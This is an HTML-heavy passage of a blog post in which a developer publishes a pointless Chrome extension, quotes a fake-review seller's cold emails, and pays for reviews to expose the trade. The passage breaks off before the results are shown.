srcset="https://substackcdn.com/image/fetch/$s_!UU8a!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!UU8a!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!UU8a!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!UU8a!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UU8a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp" width="418" height="418" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:1024,&quot;resizeWidth&quot;:418,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Visualize a humorous scene where the iconic Google Chrome logo is represented as a three-dimensional object, but it's clearly a cheap, flimsy fake, akin to a cardboard cutout. This logo is being propped up from the side, suggesting it might fall over at any moment. The colors are a bit faded, as if the print quality wasn't the best, and the edges of the cardboard are visibly frayed and bent. The scene is set against a nondescript background, emphasizing the logo's makeshift, almost comical attempt at mimicking the real thing. The side view reveals the thinness of the material, highlighting its lack of substance and durability.&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Visualize a humorous scene where the iconic Google Chrome logo is represented as a three-dimensional object, but it's clearly a cheap, flimsy fake, akin to a cardboard cutout. This logo is being propped up from the side, suggesting it might fall over at any moment. The colors are a bit faded, as if the print quality wasn't the best, and the edges of the cardboard are visibly frayed and bent. The scene is set against a nondescript background, emphasizing the logo's makeshift, almost comical attempt at mimicking the real thing. The side view reveals the thinness of the material, highlighting its lack of substance and durability." title="Visualize a humorous scene where the iconic Google Chrome logo is represented as a three-dimensional object, but it's clearly a cheap, flimsy fake, akin to a cardboard cutout. This logo is being propped up from the side, suggesting it might fall over at any moment. The colors are a bit faded, as if the print quality wasn't the best, and the edges of the cardboard are visibly frayed and bent. The scene is set against a nondescript background, emphasizing the logo's makeshift, almost comical attempt at mimicking the real thing. The side view reveals the thinness of the material, highlighting its lack of substance and durability." srcset="https://substackcdn.com/image/fetch/$s_!UU8a!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!UU8a!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!UU8a!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!UU8a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f2c3c25-da09-4437-8aa3-1d8fc59974c1_1024x1024.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>When publishing an extension to the the Chrome Web Store, you&#8217;re required to publish a developer email - ostensibly to give users a way to contact you. This also opens the &#8220;Extension Spam Lagoon&#8221; dump valve into your inbox. </p><ul><li><p>If your extension has a lot of users, the spammers want to <a href="https://mattfrisbie.substack.com/p/the-ugly-business-of-monetizing-browser">buy your extension for vague reasons like &#8220;adding it to their portfolio&#8221;</a>. </p></li><li><p>If your extension <em>doesn&#8217;t</em> have a lot of users, the spammers want you to buy their &#8220;promotional services&#8221; to boost the number of users and reviews - completely legitimately, of course.</p></li></ul><p>To find out what fake reviews actually look like, I&#8217;ll publish a brand new extension that nobody would <em>ever</em> use or review, and buy some fake reviews for it.</p><h1>Step 1: Publish a pointless extension</h1><p>First, I&#8217;ll need a totally useless Chrome extension. How about one that displays the first byte of the HTTP response?</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FpmL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FpmL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 424w, https://substackcdn.com/image/fetch/$s_!FpmL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 848w, https://substackcdn.com/image/fetch/$s_!FpmL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 1272w, https://substackcdn.com/image/fetch/$s_!FpmL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FpmL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png" width="416" height="167.4805194805195" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:372,&quot;width&quot;:924,&quot;resizeWidth&quot;:416,&quot;bytes&quot;:84921,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FpmL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 424w, https://substackcdn.com/image/fetch/$s_!FpmL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 848w, https://substackcdn.com/image/fetch/$s_!FpmL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 1272w, https://substackcdn.com/image/fetch/$s_!FpmL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80ee2952-0ada-4786-9a19-a0a1eda56b69_924x372.png 1456w" sizes="100vw"></picture><div></div></div></a></figure></div><p>The extension will send a request to the active tab&#8217;s URL and show the result in a popup:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_sCx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_sCx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 424w, https://substackcdn.com/image/fetch/$s_!_sCx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 848w, https://substackcdn.com/image/fetch/$s_!_sCx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 1272w, https://substackcdn.com/image/fetch/$s_!_sCx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_sCx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png" width="420" height="262.6605504587156" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:818,&quot;width&quot;:1308,&quot;resizeWidth&quot;:420,&quot;bytes&quot;:177710,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_sCx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 424w, https://substackcdn.com/image/fetch/$s_!_sCx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 848w, https://substackcdn.com/image/fetch/$s_!_sCx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 1272w, https://substackcdn.com/image/fetch/$s_!_sCx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc373ed7f-d2d0-494d-b0ac-81d9aca0dd0c_1308x818.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Source: <a href="https://github.com/msfrisbie/first-byte">https://github.com/msfrisbie/first-byte</a></p><p>(Never mind that this doesn&#8217;t account for authentication. It just needs to be as useful as a chocolate teapot.)</p><p>Since the extension uses the less-invasive <code>activeTab</code> permission, it was rapidly approved for the Chrome Web Store: <a href="https://chromewebstore.google.com/detail/first-byte/nkikhefaobjaccmcngakfmelebahleea">https://chromewebstore.google.com/detail/first-byte/nkikhefaobjaccmcngakfmelebahleea</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PiFd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PiFd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 424w, https://substackcdn.com/image/fetch/$s_!PiFd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 848w, https://substackcdn.com/image/fetch/$s_!PiFd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 1272w, https://substackcdn.com/image/fetch/$s_!PiFd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PiFd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png" width="1456" height="1166" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1166,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:383775,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PiFd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 424w, https://substackcdn.com/image/fetch/$s_!PiFd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 848w, https://substackcdn.com/image/fetch/$s_!PiFd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 1272w, https://substackcdn.com/image/fetch/$s_!PiFd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5150220-69bb-4722-b925-6ec0edc8251a_1618x1296.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Step 2: Lie in wait</h1><p>It did not take long for the lagoon to find me. Here&#8217;s the top of my inbox the next morning:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!95q_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!95q_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 424w, https://substackcdn.com/image/fetch/$s_!95q_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 848w, https://substackcdn.com/image/fetch/$s_!95q_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 1272w, https://substackcdn.com/image/fetch/$s_!95q_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!95q_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png" width="1456" height="334" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:334,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:91320,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!95q_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 424w, https://substackcdn.com/image/fetch/$s_!95q_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 848w, https://substackcdn.com/image/fetch/$s_!95q_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 1272w, https://substackcdn.com/image/fetch/$s_!95q_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c4b1da5-33c2-4a0b-a363-313ecb5b75b1_1484x340.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>I&#8217;m assuming these people are running a recurring scrape of the Chrome Web Store and cold emailing new entries.</p><p>I chose the emailer who judiciously applied their Shift key. Here&#8217;s the full initial email:</p><blockquote><p>From: Fake Review Guy<br>To: Matt Frisbie</p><p>Hello,<br>Hope this message finds you well.<br>I'm Fake Review Guy, a digital marketing expert specialized in products and service promotion. I came across your extension on the Chrome Web Store via Chrome stats. It has quite a good number of users but low reviews/ratings... Chrome has an algorithm of promoting and featuring extensions with a lot of engagements to get more visibility and recommendations... I have a strategy that will get your extension more engagements by providing positive reviews about your extension and also by getting the targeted audience for massive installs... We can add 100-200 reviews to your extension and note the reviews are real and organic...<br>Gladly and kindly respond to this message. Let's collaborate and take your extension to a higher level.</p><p>Do you mind if I share my suggestion?</p></blockquote><p></p><p>Before buying any fake reviews, I wanted to extract as much info from them as I could. First, I asked how they claim to get these reviews. The response:</p><blockquote><p>Firstly I get the reviews and installs from real users organically....<br>How do I do this?<br>I reach out to them via Social Media Ads, Google ads and some Social Media groups and pages and channels as well....</p><p><br>NOTE: We don't use bots to get the downloads because we understand the terms and conditions of the Chrome Web Store. I do not offer fake reviews and I get my reviews by giving them an irresistible offer so they would be compelled to drop a review and I can guarantee you 100% that all reviews are legit</p><p>BENEFITS OF PROMOTION:<br>We understand the algorithm of the Web Store in featuring extensions to get recommendations and visibility. And they feature extensions with lots of engagements that's extensions with a good number of installs and reviews. So after promotion and we add more users and reviews to your extension it will be more visible and will have a good ranking on the Web Store search engine.<br>Let me know what your budget is and the number of installs and reviews you want us to start working on properly then I will give you my pricing plan.</p></blockquote><p></p><p>Who could possibly poke holes in this? </p><p>First, I asked who &#8220;we&#8221; was:</p><blockquote><p>My team</p></blockquote><p></p><p>&#8230;and the max number of reviews they could do:</p><blockquote><p>1000 is the highest we can do.</p><p>And the reviews are real and organic...</p></blockquote><p></p><p>Next, I asked for examples of extensions they had worked with before:</p><blockquote><p><a href="https://chromewebstore.google.com/detail/ai-powered-dealdazzle-sea/hblfamjdifnhiioifbfamlnkjfenhfed">AI-Powered DealDazzle Search</a></p><p><a href="https://chromewebstore.google.com/detail/bot-bingo/gelegjgeophipalhmihfnlococjdlclm">Bot Bingo</a></p><p><a href="https://chromewebstore.google.com/detail/save-to-notion/ldmmifpegigmeammaeckplhnjbbpccmm">Save to Notion</a></p></blockquote><p></p><p>No good way of knowing if these are legit or not. Finally, I asked how much per review: </p><blockquote><p>For the review, I will charge $1 per review, paypal or crypto...<br>Once you make the payment, I will get started immediately with my team</p></blockquote><p>$1 per review? That&#8217;s like one AdSense click. Their conversion rate must be the envy of every digital marketing agency!</p><p></p><p>I&#8217;m sold, let&#8217;s pull the trigger!</p><h1>Step 3: Buying fake reviews</h1><p>My budget for this project was $30. After a bit of haggling, they agreed to 50 users and 10 reviews. I sent the payment, and waited. </p><p>The next morning, I woke up to find that Santa had come!</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!giz1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!giz1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 424w, https://substackcdn.com/image/fetch/$s_!giz1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 848w, https://substackcdn.com/image/fetch/$s_!giz1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 1272w, https://substackcdn.com/image/fetch/$s_!giz1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 1456w" sizes="100vw"><img 